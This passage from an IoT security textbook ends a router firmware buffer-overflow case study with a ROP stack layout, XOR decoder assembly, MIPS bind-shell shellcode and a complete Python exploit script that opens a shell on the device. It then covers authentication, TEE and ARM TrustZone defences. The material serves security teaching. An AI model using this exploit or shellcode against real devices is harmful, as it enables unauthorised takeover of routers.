Cache Incoherency Cache incoherency appears in MIPS (Fig. 4.40). Assembly instructions and stack data exist in memory as the binary file is loaded. For high-speed operation, the CPU will first load some instructions and data into the CPU Cache, including I-cache and data D-cache, and then read instructions and modify data from the Cache. When the Cache is full or the process is switched (CPU switching context), the Cache will be written to memory (similar to the relationship between virtual memory and disk physical memory when reading files). The shellcode is written with a decoder (this will be introduced later). The code exists in the Cache when it is modified. If the Cache does not have time to flash into the memory, the CPU will load the undecrypted shellcode into the Cache and execute it, which will cause unpredictable consequences. Call the sleep function with the ROP, and the CPU switches processes and refreshes the cache, and calls it again after the decoder decodes it, which is the most effective way.
Gadgets View the process memory distribution through cat /proc/pid/maps. For example, we can use the executable libuClibc-0.9.30 to make a gadget (Fig. 4.41). Find gadgets with IDA's mipsrop plugin (Fig. 4.42).
4.2 Analysis of Android System Firmware Vulnerability
Fig. 4.41 Gadget selection
Fig. 4.42 Mipsrop plugin
189
190
4 Analysis of Firmware Vulnerabilities
According to the gadget found by the exploit and the constructed ROP attack chain, the stack distribution and execution process are as follows.
Stack Distribution The overflow point starts from the local variable var_AC. The local variable of register that can be controlled is var_8 of $s1. The function returns var_4 of register $ra and calculates that the offset of var_AC and var_8 is 0xA4. Therefore, filling 164 bytes from the overflow point, and then filling gadg_2 and gadg_1 can control $s1 and the return address. When the gadget is executed, $sp will change dynamically. According to the current $sp and the "local variables" of the read instruction, we can find the number of bytes to be filled next and the position of the next gadget (Fig. 4.43). The execution process is shown in Fig. 4.44.
4.2.9.5
Shellcode: Connect
Because the target vulnerability is overflow caused by strcpy, and strcpy will stop copying when it encounters 0x00 ('\0') and 0x20 (space), it must be ensured that Fig. 4.43 The Layout of the Stack
4.2 Analysis of Android System Firmware Vulnerability
191
Fig. 4.44 Execution process
decode code encode ShellCode
paylode
Fig. 4.45 Decoder
there is no truncation caused by 0x00 and 0x20 characters in the overflowed shellcode. Encoders and decoders are needed. Before executing shellcode, the decoder will decode and execute the shellcode encrypted by the encoder (Fig. 4.45).
192
4 Analysis of Firmware Vulnerabilities
The decoder code is as follows: Code 4.10 Decoder Code .set noreorder #nop addi $s1, $s2, 0x4444 #nop li $s1, 0x99999999 #Prepare the decryption key addiu $s2, $sp, 0x59F #Based on $s2 at the bottom of the stack (depending on the shellcode size) addi $s2, -0x360 lw $t2, -0x107($s2) #Decrypt the first character xor $v1, $s1, $t2 sw $v1, -0x107($s2) lw $t2, -0xBF($s2) #Decrypt the second character xor $v1, $s1, $t2 sw $v1, -0xBF($s2) lw $t2, -0xA3($s2) #... xor $v1, $s1, $t2 sw $v1, -0xA3($s2) lw $t2, -0x8F($s2) xor $v1, $s1, $t2 sw $v1, -0x8F($s2) lw $t2, -0x73($s2) xor $v1, $s1, $t2 sw $v1, -0x73($s2) lw $t2, -0x67($s2) xor $v1, $s1, $t2 sw $v1, -0x67($s2) lw $t2, -0x5B($s2) xor $v1, $s1, $t2 sw $v1, -0x5B($s2) lw $t2, -0x53($s2) xor $v1, $s1, $t2 sw $v1, -0x53($s2) lw $t2, -0x47($s2) xor $v1, $s1, $t2 sw $v1, -0x47($s2) lw $t2, -0x3F($s2) xor $v1, $s1, $t2 sw $v1, -0x3F($s2) li $s2, 0xFFFFFFFF li $v0, 4166 #Prepare to call sleep function; flash the decrypted shellcode from Cache into memory. li $t7, 0x308 addi $t7, -0x304 sw $t7, -0x402($sp) sw $t7, -0x406($sp) addiu $a0, $sp, -0x406 syscall 0x40404 #sleep(4) addi $t4, 0x115C #nop
After that, execute the real shellcode. Call syscall and corresponding function through the system, and establish a connection. The shellcode code is as follows:
4.2 Analysis of Android System Firmware Vulnerability
Code 4.11 shellcode Code .set noreorder ###### sys_socket ###### #Create TCPsocket addiu $sp, $sp, -0x20 #Raise the stack up by 0x20 and increase robustness. li $t6, -0x3 nor $a0, $t6, $zero nor $a1, $t6, $zero slti $a2, $0, -1 li $v0, 4183 syscall 0x40404 ##### sys_bind #### #Bind the Socket add $t9, $t9, 0x4444 #nop andi $s0, $v0, 0xffff li $t6, -17 nor $t6, $t6, $zero li $t5, 0x7a69 #port 31337 li $t7, -513 nor $t7, $t7, $zero sllv $t7, $t7, $t6 or $t5, $t5, $t7 sw $t5, -32($sp) sw $zero,-28($sp) sw $zero,-24($sp) sw $zero,-20($sp) or $a0, $s0, $s0 li $t6, -17 nor $a2, $t6, $zero addi $a1, $sp, -32 li $v0, 4169 syscall 0x40404 ##### listen ##### li $t7,0x7350 or $a0,$s0,$s0 li $a1,257 li $v0,4174 syscall 0x40404
#Monitor the port
##### accept ##### li $t7,0x7350 or $a0,$s0,$s0 slti $a1,$zero,-1 slti $a2,$zero,-1 li $v0,4168 syscall 0x40404
#Waiting for connection
##### dup fd’s #### #Stdin, stdout, and stderr of the redirection process li $t7,0x7350 andi $s0,$v0,0xffff
193
194
4 Analysis of Firmware Vulnerabilities
or $a0,$s0,$s0 li $t7,-3 nor $a1,$t7,$zero li $v0,4063 syscall 0x40404 li $t7,0x7350 or $a0,$s0,$s0 slti $a1,$zero,0x0101 li $v0,4063 syscall 0x40404 li $t7,0x7350 or $a0,$s0,$s0 slti $a1,$zero,-1 li $v0,4063 syscall 0x40404 ######execve###### lui $t7,0x2f2f ori $t7,$t7,0x6269 sw $t7,-20($sp) lui $t6,0x6e2f ori $t6,$t6,0x7368 sw $t6,-16($sp) sw $zero,-12($sp) addiu $a0,$sp,-20 sw $a0,-8($sp) sw $zero,-4($sp) addiu $a1,$sp,-8 li $v0,4011 syscall 0x40404
#Create process shell
#### sleep ##### #Sleep and refresh memory li $v0, 4166 li $t7, 0x0368 addi $t7, $t7, -0x0304 sw $t7, -0x0402($sp) sw $t7, -0x0406($sp) la $a0, -0x0406($sp) syscall 0x40404 addi $t4, $t4, 4444 #nop
4.2.9.6
Exploit Script
The exploit (exploit script) finally given by the vulnerability author is as follows: Code 4.12 Exploit Script attack_vuln.py: import urllib2 import urllib
4.2 Analysis of Android System Firmware Vulnerability
195
import base64 import hashlib def login(ip, user, pwd): hash = hashlib.md5() hash.update(pwd) auth_string = "%s:%s" %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string) print ("[debug] Encoded authorisation: %s" %encoded_string) url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save" print ("[debug] sending login to " + url) req = urllib2.Request(url) req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string) resp = urllib2.urlopen(req) data = resp.read() next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3]) print ("[debug] Got random path for next stage, url is now %s" % next_url) return (next_url, encoded_string) shellcode = ( "\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99" "\x27\xb2\x05\x9f" "\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9" "\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41" "\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d" "\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71" "\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d" "\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99" "\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5" "\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad" "\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9" "\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1" "\x02\x2a\x18\x26\xae\x43\xff\xc1" "\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08" "\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa" "\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c" "\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28 \x27\x28\x06" "\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30 \x50\xff\xff" "\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d" "\x7a\x69" "\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68 \x25\xaf\xad" "\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b
196
4 Analysis of Firmware Vulnerabilities
\x89\xb9\xbc" "\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10 \x49\x01\x01" "\x01\x0c\x24\x0f\x73\x50" "\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01 \x0c\x24\x0f" "\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24 \x02\x10\x48" "\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9 \xbc\x24\x0f" "\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24 \x0f\x73\x50" "\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01 \x0c\x24\x0f" "\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01 \x01\x01\x0c" "\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e \x2f\x35\xce" "\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf \xa4\xff\xf8" "\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01 \x0c\x24\x02" "\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf \xaf\xfb\xfa" "\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c" ) nop = "\x22\x51\x44\x44" gadg_1 = "\x2A\xB3\x7C\x60" gadg_2 = "\x2A\xB1\x78\x40" sleep_addr = "\x2a\xb3\x50\x90" stack_gadg = "\x2A\xAF\x84\xC0" call_code = "\x2A\xB2\xDC\xF0" def first_exploit(url, auth): rop = "A"*164 + gadg_2 + gadg_1 + "B"*0x20 + sleep_addr rop += "C"*0x20 + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'} new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params) print ("[debug] sending exploit...") print ("[+] Please wait a few seconds before connecting to port 31337...") req = urllib2.Request(new_url) req.add_header('Cookie', 'Authorization=Basic %s' %auth) req.add_header('Referer', url + "DiagnosticRpm.htm") resp = urllib2.urlopen(req) if __name__ == '__main__': data = login("192.168.0.1", "admin", "admin") first_exploit(data[0], data[1])
4.2 Analysis of Android System Firmware Vulnerability
197
Fig. 4.46 Exploit result
Fig. 4.46 shows the results of the operation. After successful exploit, we get the device shell.
4.2.9.7
Repair Measures
The merchant fixed the vulnerability in September 2017 by using the more secure strncpy function, snprintf function, and limiting the string length.
Part II
Defense Methods for Industrial IoT System
Chapter 5
Techniques for IoT System Security
It is believed that after understanding the operating principles and basic analysis methods of IoT devices introduced in the first four chapters of this book, readers will realize that there are still many risks in the current IoT ecosystem. IoT manufacturers not only need to design devices with rich functions to improve consumers’ experience, they should also pay their attention to security based on various costs and technological maturity. The security challenges faced by the IoT ecosystem become severer as the number of deployments grows. The Mirai that broke out in 2016, a kind of malicious software, and the subsequent Mirai derivatives frequently make people realize that we need more secure and stable terminals, networks, and clouds platforms in the new future that comes with IoT technology. Among the billions of IoT devices, Mirai only controls about 100,000 terminals, which has caused great obstacles to Internet domain name system service providers and caused famous websites such as Twitter to be inaccessible for a short time. Although IoT device terminals face serious security risks such as firmware tampering, it is difficult to build security capabilities in the IoT ecosystem due to the following aspects: 1. At present, the tycoon of the industry in the process of IoT ecological evolution has not yet fully formed a monopoly. Therefore, many qualified and unqualified suppliers have not unified the standard of equipment hardware design process and firmware writing specifications, which has led to an obvious cask effect. 2. Since the initial IoT devices only focused on functions and ignored the flaws in protocol design, the cost of deploying security with forward compatibility for later products will be huge. 3. The characteristics of physical network equipment lead to huge security challenges. For example, the storage and computing performance of some embedded physical network devices restrict basic security operations such as encryption, and some physical network devices enter power-saving mode after being restricted for a long time and the device intrusion is difficult to be detected, which makes the traditional authentication model invalid. © The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2021 Q. Tang, F. Du, Internet of Things Security: Principles and Practice, https://doi.org/10.1007/978-981-15-9942-2_5
201
202
5 Techniques for IoT System Security
4. The insecurity of data in IoT security should also be taken seriously. Traditional terminal devices such as computers and IoT devices can obtain users’ privacy data such as GPS, heartbeat, audio and video information in real time than mobile phones. Therefore, correlation analysis or in-depth mining of these data can provide us with the user’s address or health status and other information. We need to consider security in the collection, transmission, and storage phases of these data. In this chapter and Chap. 6 of this book will provide practical suggestions on strategies and codes for companies to ensure and improve the security of IoT equipment and the IoT ecosystem.
5.1 5.1.1
Identity Authentication Introduction to Identity Authentication
Identity authentication refers to the process of proving identity through a specific method. For example, we first need to prepare a bank card and then enter the password to withdraw money. When the password matches the bank card, we can withdraw or transfer money. The current operator is considered a trustworthy user through the card and password banking system and can continue to operate. Defects in the design of the certification process can easily lead to the loss of personal property, so the certification process is used to establish mutual trust. Identity authentication aims to establish a trustworthy interactive environment for both parties, in which the IoT cloud can fully trust the data they receive from the device, and the device also trusts the data accepted by the server. There are many methods of identity authentication that can be divided into identity authentication based on shared keys, identity authentication based on public key algorithms, and identity authentication based on biological characteristics. Authentication based on shared secret: The server and the user have the same user name and password, and the user can enter the user name and password agreed upon by the server and the user for identity authentication. After receiving the user name and password, the server will check whether they are consistent with those of the server's. If they are consistent, the user is determined to be legitimate. E-mail and website login, deposit and withdrawal from ATM machines all belong to shared key authentication. Identity verification based on public key encryption algorithm: The two parties in the communication hold a public key and a private key, respectively, and one of them uses the private key to encrypt specific data, while the other uses the public key to decrypt the data. If it is successfully decrypted, the authentication is considered passed. Generally, public key-based authentication methods include digital signatures and SSL. Identity authentication based on biological characteristics refers to physical characteristics such as fingerprints, voiceprints, and iris. In the IoT scenario, we need to authenticate the cloud and the device side, so the cloud must ensure that
5.1 Identity Authentication
203
the connected device is trustworthy, and forged devices may lead to cloud data leakage. Before the device interacts with the cloud, it must first ensure the credibility of the connected cloud. Otherwise, the device may be maliciously manipulated or data may be stolen. Once the key of the shared key authentication is leaked, the person who obtains the key can forge the identity. Usually, we use SMS verification code or password to confirm the authentication process again. Authentication based on biometrics requires authentication devices capable of live detection to prevent the use of static images or data forgery. In the IoT scenario, since we need to use a unified way to authenticate the cloud and devices, we should use a public key encryption algorithm to authenticate.
5.1.2
Identity Authentication Technology
The public key cryptosystem includes a public key used for encryption and a private key used for decryption. The ciphertext obtained by encrypting the plaintext with the public key can only be decrypted by the corresponding private key and get the original plaintext. Public keys that are disclosed can be released to others; private keys cannot be released to others and can only be kept by ourselves. RSA is a common public key encryption algorithm. The digital signature technology brought by the public key system can realize the authentication of both parties. The authenticated party uses its own private password to encrypt a digest of the authentication information and sends the digest and authentication information to the party that needs authentication; the authenticator uses the authenticated party’s public key to decrypt the encrypted information and digest the authentication information. If the decrypted data is consistent with the digest, the authentication is passed. In the authentication system, we must first register the device. The IoT platform uses the unique ID of the device to generate the public and private keys of the device and form a mapping association with the ID. Then, the device writes the device private key and cloud public key into the device before leaving the factory. During authentication, it communicates with the authentication server through challenge– response and completes authentication. The challenge–response method in the authentication process is shown in Fig. 5.1.
5.1.3
Identity Authentication Security
Private keys are the core of the device authentication process. Once private keys are leaked, it can use private keys to forge the request process and parameters to forge the device. If one knows the location of the private keys stored on the device, one can easily get the private keys or algorithm of the device by reversing the device firmware or obtaining the device RooT permission, so we need an environment or device to go Ensure that the data will not be taken away.
204
5 Techniques for IoT System Security
Fig. 5.1 Challenge–response process
Currently, there are two methods for storing keys in the industry, including SE (security element) and TEE (trusted execution environment). As a hardware medium, the common SE is a security chip, an independent hardware that stores root keys and algorithms. The interface and the interaction of the device system are equipped with the highest degree of security, but the amount of data that can be stored is limited by the memory of the chip and the independent operating system inside the chip leads to slow computing speed. As hardware isolation in software, TEE isolates an independent trusted area in the operating system that can store keys and data operations. Even if the device firmware is reversed and the system is ROOT, the data stored in it cannot be obtained, which ensures the security of sensitive data. Because it is an isolated area on the operating system and shares the CPU with the system, it has a large storage space and high computing speed. But compared to SE, its security is weaker, so it cannot resist side channel attacks. In fact, the SE that stores the root key will cooperate with the TEE,1 and the derived key is responsible for calculation and output results in the TEE, thus ensuring the security of the root key, and the storage space and calculation speed are greatly improved. Each SE chip is equipped with an independent interface and operation instruction manual that are not described here. We focus on the development of TEE and related technologies. Different architectures have different ways to implement TEE. ARM
1
https://globalplatform.org/resource-publication/introduction-to-trusted-execution-environments/
5.2 ARM TrustZone Technology
205
implements TrustZone2 and Intel implements SGX.3 These two architectures also have different characteristics in this process. Next, the processor-based TEE solutions of ARM and Intel will be introduced.
5.2 5.2.1
ARM TrustZone Technology History
As the world’s largest provider of embedded processor solutions, ARM once occupied more than 90% of the market in mobile phone devices based on ARM processors. The ARM TrustZone solution originated in 2006, when the OMTP organization (a forum created by the world’s leading mobile network operators to discuss industry standards, covering industry giants such as Nokia, Samsung, Sony Ericsson) proposed dual-system security solutions including smart terminal devices. It aims to provide an isolated security operating system that specializes in processing sensitive data in addition to the traditional multimedia operating system to improve the overall security coefficient. ARM proposed TrustZone technology and hardware solutions based on this solution in 2006. All Cortex-A processors have features that TrustZone has. After that, ARM provided the TrustZone API to GlobalPlatform.4 As a non-profit industry association responsible for formulating and publishing security chip technical specifications, GlobalPlatform serves more than 100 companies operating IoT products, including set-top boxes, wearable devices, connected cars, smart cards, and smart speakers. GlobalPlatform proposed TEE (trusted execution environment) in 2010 and formulated TEE specifications in 2011 to introduce compliance testing procedures to ensure functional interoperability, and it cooperated with ARM and other companies to develop trusted execution based on GlobalPlatform TEE system. In 2013, GlobalPlatform certified the compliance of ST-Ericsson’s TEE implementation project, proving that the TrustZone API’s performance expectations in the TEE specification proposed by GlobalPlatform have greatly reduced the split security implementation plan on the mobile platform. As of 2018, most trusted operating systems have adopted the GlobalPlatform TEE standard. The most traditional commercial TEE project that follows the GlobalPlatform API standard is Trustonic’s Kinibi project. While GlobalPlatform is setting standards and certifying the implementation results, Linaro is also investigating and promoting Arm TrustZone and improving
2
https://developer.arm.com/ip-products/security-ip/trustzone https://www.intel.sg/content/www/xa/en/architecture-and-technology/software-guard-extensions. html 4 https://globalplatform.org/ 3
206
5 Techniques for IoT System Security
security. Linaro, which was jointly established by ARM, Freescale Semiconductor, IBM, Samsung, ST-Ericsson, and Tesla Instruments in 2010, provides common open-source projects that can support different Soc platforms to ensure the balance of interests among chip manufacturers. Linaro aims to build and maintain the basic interface of Linux on ARM, so as to integrate the core functions provided by ARM in Linux. Therefore, Linaro expands the influence of Linaro by supporting the opensource TEE interfaces on arm TrustZone and the security functions built on these interfaces. With the full support of Ericsson and Linaro, ST-Ericsson manufactured OP-TEE.5 OP-TEE has gradually become the largest open-source TEE project that follows the GlobalPlatform API. In addition to Kinibi and OP-TEE, Qualcomm’s QSEE and Huawei’s TEE are also mainly involved in the construction of the TEE structure because they occupy a large share of the smart device market.
5.2.2
Introduction to GlobalPlatform TEE
In the GlobalPlatform standard, TEE and REE (rich execution environment) are two corresponding parts, including hardware, operating system, and applications. TEE hardware is designed to isolate the security area in the main processor, where the code and data loaded will be strictly protected in terms of confidentiality and integrity. Figure 5.2 shows the isolated and accessible software and hardware resources of TEE OS6 and REE OS (an operating system similar to Android). The trusted application (TA) running in TEE strictly relies on the hardware root of trust to access multiple types of platform and device resources, including memory controllers, audio and video hardware, biological information collection equipment (such as fingerprint collection), NFC controllers, etc. Trusted applications are generally used in operations that require higher security, such as facial information comparison, fingerprint information comparison, and key signatures used in payment. It is worth noting that each trusted application in the TEE is independent of each other and cannot access each other’s data without being configured. In addition, assuming that any content from the REE OS is not trustworthy in the TEE specification, the designer of the trusted application must assume that the client application (CA) of the trusted application on the REE may be illegal. GlobalPlatform TEE provides a variety of APIs, including TEE Client API,7 TEE internal core API, internal API, TEE Sockets API, etc. Figure 5.3 shows their connections. These APIs provide a unified programming interface for users who
5
https://www.op-tee.org/ https://globalplatform.org/specs-library/tee-system-architecture-v1-2/ 7 https://globalplatform.org/specs-library/tee-client-api-specification/ 6
5.2 ARM TrustZone Technology
207
Fig. 5.2 TEE scheme diagram
Fig. 5.3 The affiliation of TEE API
use a security system that follows the GlobalPlatform TEE specification so that users can design applications without considering the underlying hardware architecture. TEE client API defines effective communication between client applications and trusted applications. By using TEE client API, we can build richer device basic functions, such as trusted storage, encryption, and real-time installation of new trusted applications. In REE, TEE client API can be opened to ordinary or privileged users. If it is open to privileged users, we need to use drivers or other privileged components to replace client applications. TEE client API usually blocks each thread, but it can be called asynchronously by multiple threads. A typical application will use TEE client API to establish communication with TEE and establish a session
208
5 Techniques for IoT System Security
Fig. 5.4 TEE socket API architecture
with trusted applications to set up shared memory. Send a trusted application specific command to call a trusted service and then shut down the process cleanly. TEE internal core APIs8 are a set of standard TEE functional interfaces designed to enable trusted applications to make full use of standard TEE functions. TEE internal API provides other low-level functions, such as TEE secure element API, TEE socket API, TEE TA debug API, etc. By using TEE internal API, we can design trusted password input functions, confidential data management functions, financial services, and digital rights management functions. The TEE sockets API provides a universal modular interface for trusted applications as network clients to communicate with other network nodes. It supports accessing and processing multiple types of client sockets. Figure 5.4 shows its architecture diagram. TEE TA Debug API has the function of supporting trusted application development and TEE internal API compliance testing. The TEE Trusted User Interface API can show the screen to the user and has three functions. First, the security display. Any software in the REE or unauthorized applications in the TEE cannot access or modify or hide the information displayed to the user; security input, the information entered by the user cannot be used by any software in the REE or unauthorized applications in the TEE Program export or modification; security guidelines. The user can be sure that the displayed screen content is exactly what the TA wants to display. Figure 5.5 shows its architecture.
8
https://globalplatform.org/specs-library/tee-internal-core-api-specification-v1-2/
5.2 ARM TrustZone Technology
209
Fig. 5.5 Architecture of TEE trusted user interface API
TEE Secure API9 is used to support communication with secure element. The secure element dedicated to TEE can be accessed by trusted applications without using any resources of the REE, and the communication is considered secure; using the secure element connected to the REE requires access to related resources through TA to ensure security. Figure 5.6 shows the architecture of multiple secure element reading devices. The TEE Biometric API provides a biometric TEE hardware interface for trusted applications. The biometric sensor can realize real-time image processing and fingerprint recognition. As a component of TEE, the biometric subsystem is composed of all TEE biometric peripherals in the device and supporting software and hardware. When a trusted application interacts with the biometric subsystem of the TEE, it must first discover the available sensors or devices in the platform, which are provided in the TEE Peripheral API. Figure 5.7 shows the architecture of TEE Biometric API.10
5.2.3
Introduction to TrustZone
TrustZone architecture includes hardware architecture and software architecture. We first come to know the hardware architecture. It is worth noting that TurstZone 9
https://globalplatform.org/specs-library/tee-secure-element-api-v1-1-1/ https://globalplatform.org/specs-library/globalplatform-technology-tee-tui-extension-biometricsapi-v1/ 10
210
5 Techniques for IoT System Security
Fig. 5.6 Architecture with multiple secure element reading devices
Fig. 5.7 Architecture of TEE biometric API
technology does not have a fixed security solution, but provides multifunctional security components for Soc suppliers to choose. The separation of TEE and REE is the key to security. In TrustZone’s hardware architecture, through the higher system IP architecture, a mechanism that divides hardware resources into two parts, secure world and non-secure world is produced. Four parts have been changed:
5.2 ARM TrustZone Technology
211
1. Additional control signals are added to each read and write channel on the main system bus. Before all bus control, these signals will be set when there is new data transmission, and the bus or slave decoding logic must interpret them to ensure that the required security isolation strategy is not violated. If you try to access the security device from the non-security side, the operation will silently fail or cause an error, depending on the hardware peripheral design and bus configuration. 2. The hardware specification that contains a narrow bandwidth APB (advanced peripheral bus) is used to protect peripheral devices, such as interrupt controllers and user input and output devices. It improves the security of the hardware environment so that it can handle higher security. For example, it enables uninterruptible security tasks to monitor the system, and security keyboard devices can be used to enter user passwords. 3. The hardware needs to support memory aliasing, when the master device performs security access to the slave device, the slave device accepts the security operation transaction but treats the operation transaction as non-security. In a storage system with aliases, the same storage location will be displayed as two different locations in the address map, namely the security location and the nonsecurity location. This may cause the same data in the cache to be represented by different values. If the data can be modified, data consistency problems may arise. If a copy of data is modified and another data is still in the cache, the data of different versions will be different. 4. The ARM processor before the introduction of the security extension only contains a global debugging control signal to open or close the debugger’s access to the processor, which threatens the security of secure world programs and triggers global debugging. There are four common debugging access controls in TrustZone debugging extensions, including invasive debugging with security permissions; non-invasive debugging with security permissions; user invasive debugging with security; and non-invasive debugging with security users. The first two need to use two input signals to control; in the latter two scenarios, two bits of the CP15 register can be accessed for control. In addition, the AEM processor also provides global intrusive and global anti-intrusive debugging modes by designing other signals. The processors provided by ARM that have implemented hardware architecture security extensions include: ARM1176JZ(F)-S™, Cortex™-A8, Cortex-A9, Cortex-A9 MPCore™, etc. When they are designed, each physical processing core provides two virtual cores corresponding to the secure world and the non-secure world. Non-security virtual processors can only access non-security system resources, while security virtual processors can access all resources. The processor running TrustZone also needs to include a mechanism that can stably switch context (that is, to ensure that the state of the world where the processor is leaving is safely saved, and to correctly restore the state of the world that the processor is switching to) is used as a monitoring mode. The security state saved by the monitor should be stored in the secure world memory area to prevent non-secure programs from tampering with it. Figure 5.8 shows that the monitoring mode connects the secure
212
5 Techniques for IoT System Security
Fig. 5.8 Mode of context switching for some ARM processors
Fig. 5.9 A possibility of secure world operating system architecture
world and non-secure world. The non-secure world is strictly controlled in terms of entering the monitoring mode, so it can only be called by these methods that cause exceptions such as interrupts, external aborts, or SMC instructions. Secure world will be more flexible after entering the monitoring mode. In addition to the exception method, it can also be implemented by directly writing CPSR. TrustZone’s software architecture is mainly used to run certain security software in the security area and properly use the data and peripheral devices in the hardware secure world. Thanks to the open components of the security extension under the ARM architecture, developers can create custom secure world software to meet different needs. The most complex software architecture, as a dedicated independent preemptive secure world operating system (Fig. 5.9), even requires security timers and
5.2 ARM TrustZone Technology
213
Fig. 5.10 Flow chart
security operations to sense the interrupt controller; the simplest software architecture is the secure world synchronization code library class. There are many types of architecture between these two extremes. TrustZone’s software architecture relies heavily on the processor because the software running on the secure world processor must be isolated and requires a relatively complete operating system environment. We can use TrustZone core or secure world dedicated processors to meet the above high requirements for secure world. The idea of security is implemented throughout the life cycle of TrustZone’s software architecture. For example, hackers modifying the secure world image in flash memory are seen as a major security risk that IoT devices have always faced. Therefore, TrustZone adopts the chain of trust to authenticate both secure world and non-secure world software from a root of trust that is difficult to tamper with. In addition, the encryption scheme is checked at every stage of the secure world boot process. In this way, when the system starts the operating system from the flash boot image, it will continuously check the integrity of the secure world image to ensure that the system will not easily receive attacks from this attack surface. More discussion on the boot process will help readers better understand the security of the TrustZone life cycle. After the device starts, most chips will start to execute the ROM-based bootloader. The bootloader initializes key peripherals and then switch to the device bootloader located in the external non-volatile memory (such as flash memory), and then the boot sequence enters the initialization phase of the secure world operating system, and finally the controller will be passed to the non-secure world bootloader. When the processor supporting TrustZone is started, it will first run in the secure world, which will ensure that the software in the nonsecure world has the opportunity to check more before modifying any data in the system (Fig. 5.10).
214
5 Techniques for IoT System Security
TrustZone uses a public key signature algorithm-based encryption protocol for cryptographic signatures, such as the commonly used RSA-PSS11 (Rivser, Shamir, Adleman’s probabilistic signature scheme), where trusted vendors use their private keys to generate the sign of code that they want and push it to the device together with the application file. The supplier’s public key is stored and used on the device. By using the public key, the integrity of the application can be ensured and the source of the application can be determined by a trusted supplier. It should be noted that the original public key on the device side can be read but cannot be replaced by the attacker’s public key, which is the basis for the existence of the signature protocol. TrustZone completes the chain of trust throughout the hardware and software security architecture through the signature protocol, signature verification process, and root of trust. The root of trust is the key to the chain of trust. In the manufacturing process of device hardware, it is generally stored in the OTP12(one time programmable) hardware in the chip as a unique value, such as common polysilicon fuses. However, the length of the value stored in OTP is limited. When the length of the RSA public key exceeds 1024 bits, it cannot be accommodated, but only the public encrypted hash. For example, if the sha256 hash is placed in the OTP, and the public key is stored outside the chip, in this way we can still check the value of the public key while the system is running. TrustZone hardware architecture and software architecture under multi-processors will be more complicated than the above. The ARM architecture can support a cluster design of one to four processors, and the processors in the cluster can be configured in SMP (symmetric multi-processing) mode or AMP (asymmetric multiprocessing) mode. The current ARM processor with multi-processor functions and security functions is the Cortex-A9 MPCore processor. The ARM security extension provides the aforementioned model functions for each processor in the cluster. Because each processor in a cluster has a non-secure world and a secure world, that is, a cluster of four processors has eight virtual processors (Fig. 5.11). Each processor can independently control MMU configuration options. Any processor in the cluster can be in the secure world at any point in time, and the processor can switch between the secure world and the non-secure world independently of other processors in the cluster. Multi-processor systems improve software performance by executing threads on multiple hardware processors at the same time, but multi-threading makes software architecture more complicated. And because of the sensitivity of the introduction of timing, it is often difficult to test. Therefore, many secure world software will choose to use a single processor, and rarely or not run in SMP mode. When designing a secure world that cannot support multi-processing in a multi-processor system, we need to be able to synchronize the communication between the SMP non-secure world and the secure world. Figure 5.12 shows one of the design methods. The non-
11 12
https://en.wikipedia.org/wiki/RSA_(cryptosystem) https://en.wikipedia.org/wiki/Programmable_read-only_memory
5.2 ARM TrustZone Technology
215
Fig. 5.11 TrustZone of a multi-processor cluster
Fig. 5.12 A TrustZone software architecture mode under multi-processor
